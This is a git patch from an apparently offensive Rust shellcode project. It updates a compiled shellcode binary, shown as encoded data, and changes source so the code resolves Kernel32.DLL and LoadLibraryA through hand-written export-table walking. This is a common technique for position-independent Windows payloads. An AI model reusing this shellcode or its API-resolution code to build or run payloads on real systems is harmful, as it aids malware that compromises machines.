From a5364208d5e36c3c2faa18ae972cc63343a347ed Mon Sep 17 00:00:00 2001 From: flux <49762827+0xflux@users.noreply.github.com> Date: Wed, 12 Jun 2024 22:13:33 +0100 Subject: [PATCH] extern made diff --- builder/output/shellcode.bin | Bin 1024 -> 2560 bytes shellcode/src/main.rs | 8 ++++---- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/builder/output/shellcode.bin b/builder/output/shellcode.bin index 8087679d71883b0512dd40debd4d217dab010860..70d4268d28b753c21c92f833e49e4d75e2ac6a17 100644 GIT binary patch literal 2560 zcmeHHZA?>F7(TZxrGk1Hi|4x2g(;ttPo)eOA_OiIGthQz z6OP?=$+DkIw!~k{{+N&fx-49%A}l6?OJ=6q}~FS zKhFES=e^H)dm>#1gtj7-w;drBv?CcI0yfuEDF_vTJqvna8$#`1C&6Qdr*TbZuGw7k z8a)1ryXB<2abMP62c?KM)z;Ay$69JzPGi*8>TZE}U1K9U=vE3_nvUbTx)yh9D{{fB z_6>J_Q#(fT$v54{6?fe;V7*n_c%sf)TvV_pTlkL!{bMmaQH*~P6PHK#1ZolT!0!nn zvr)o^T>(w>`yq|8L0Qo7IimYV+AXp^EcT2FSc9#a5YFvRC(f_T0kl1^$tezk64RA>C zRHoP)#(gNZ>xAuQI0Jebn*mboSC!pZ?4?dr9~e?%>I zlup^C%);UCcu8M}ln#Zdl-&otAR;=4Nzfr>UWP^P4O07jTMp1+zo8VId&=TGXWC5k z0f&01ABJiN7T+Jh+C-dFEd+mo`-51UjKh{Or)AKYJ*Eti;C^DiD+VN>I%0vc_1;|9 z>tbM;Z*aUI$D3m=bV9FzX$S=U<}R+Nc{}H{5R6^H4zo4rFiS+3<1s>n--s~Fnaraw z84XlT(-w8zY18RT9a5p_zW^0vwOS|$KHo13zW`sbD`j)Q*F3P|v}v;UA&)7^2hKU- zkY7`h^1B?S1{qkox0=32)Pry@Z!^Xc4K@NxdzPmWp+1m7|7r}TZzw#i1!MgqobA8Rk#9I;woGniY?kk zqPw|~moN63+W9HL(0GXeoN_2@wp@xG6SG7=59dOO>yJq>AJ&r6BZU0`qfD7bd|{D_ z2Uf3)&p0XS;dt3M`B2Wd2{WX=7+8R|`aNqBeY&2@UNMzlFTkljMA+P`t8*&)N6u`NXFsQTuS~W*V$8SZLxdgB(~?B2b|9vY48OJUIr` zei0zDU2A&~k)Y;d`#Hp(7xv+90sB@=N+rCFN(Q_QVjv;bd$ZuO4~f2q&|1DHC#%0( z5YLzKDVu``Ro9lk0jB^eWfAY`%d2&z|Mk&w3Ys zUeA8-Ohx29aIok8IDkJ^G9sRsJJbwrW=n2Vaj0*nVvoMD#p0P-@htw-b_`au&I;JT z0Nu8}8tYU%e-SQ&=pj!?^eh@q<;HTdiCSi$_E76{o}3;1XZHZa$RRt|Ae{i|Hb%D* z_L_wsD`0J1O6F}qNe8D6jQ$9k1*@(>V7@CC|u#*!|vfx4+GZPCFnm5!~ rH1nuw+%PL77}FAraalqkF`}>bz!h2%8w1&jme-(*9J^T zoDLFeQxAIAgD1}(z}qI#igF+^k%I?45EMrYiC#>U`m}QLPw;J;=lOoV&-?W0v-<%d zbP^%v6hfU4YalkkdsS2On#xI&S|+9{*|`isyqpsG?4*)XZW44^QlpAIMMP1N3I(JU zB&Da@C+2cU0G-N6A$ftIgv8FKM2XF+9c)1Y0qGp;c8zDHc~(~bij1VxBVJO^7TCO; z*Ya!%O5HY-@W>%9IZ9V#sn4-(8vSTG}4+lyEg$8|XG2M+AJ5UgnJ z;Xs*|zG9_)pmBv~e1aMEqzC#Mu%K_MJJfK#m8?FZ#)6-k%{LBgo9aKm$j%V@DRh4wL4GknrY_rw{_`Dk|1$1LWbjsky!e6P`K8({1_~Q^czd~E@Yg+;}*`~a2scgVwN+8u{Tf-2eyUa zM&r_bsEC-0Ud-t`#B6(Jw6zxdTTw*+rGBLNZN##i^*Gh~PN=xphhayzV0WU|UEWK_ z1%A%qvsn897lq(&?MXObM@rwYawc@It5+~HIMmzKC+MHmU8txo1+53^<7AYKk#RDywt;IIRQsUD@5$pNZm2^I{^Qa5{IO(R`RFF|$+HjR H|F`E4rr9er diff --git a/shellcode/src/main.rs b/shellcode/src/main.rs index 64b8078..f179630 100644 --- a/shellcode/src/main.rs +++ b/shellcode/src/main.rs @@ -40,8 +40,8 @@ pub extern "C" fn main() { } // stack strings - let kernel32_dll = "fff.DLL\0"; - let load_library_a = "lllll\0"; + let kernel32_dll = "Kernel32.DLL\0"; + let load_library_a = "LoadLibraryA\0"; // get virtual addresses let load_library_a_result = get_function_from_exports(kernel32_dll, load_library_a); @@ -88,7 +88,7 @@ use core::{ops::Add, str::{from_utf8, from_utf8_mut}}; /// Returns the DLL base address as a Option #[allow(unused_variables)] #[allow(unused_assignments)] -fn get_module_base(module_name: &str) -> Option { +pub extern "system" fn get_module_base(module_name: &str) -> Option { // let module_name: &str = from_utf8(module_name).unwrap(); @@ -159,7 +159,7 @@ fn get_module_base(module_name: &str) -> Option { /// /// # Returns /// Option<*const c_void> -> the function address as a pointer -pub fn get_function_from_exports(dll_name: &str, needle: &str) -> Option { +pub extern "system" fn get_function_from_exports(dll_name: &str, needle: &str) -> Option { let dll_name = dll_name.trim_end_matches('\u{0}'); let needle = needle.trim_end_matches('\u{0}');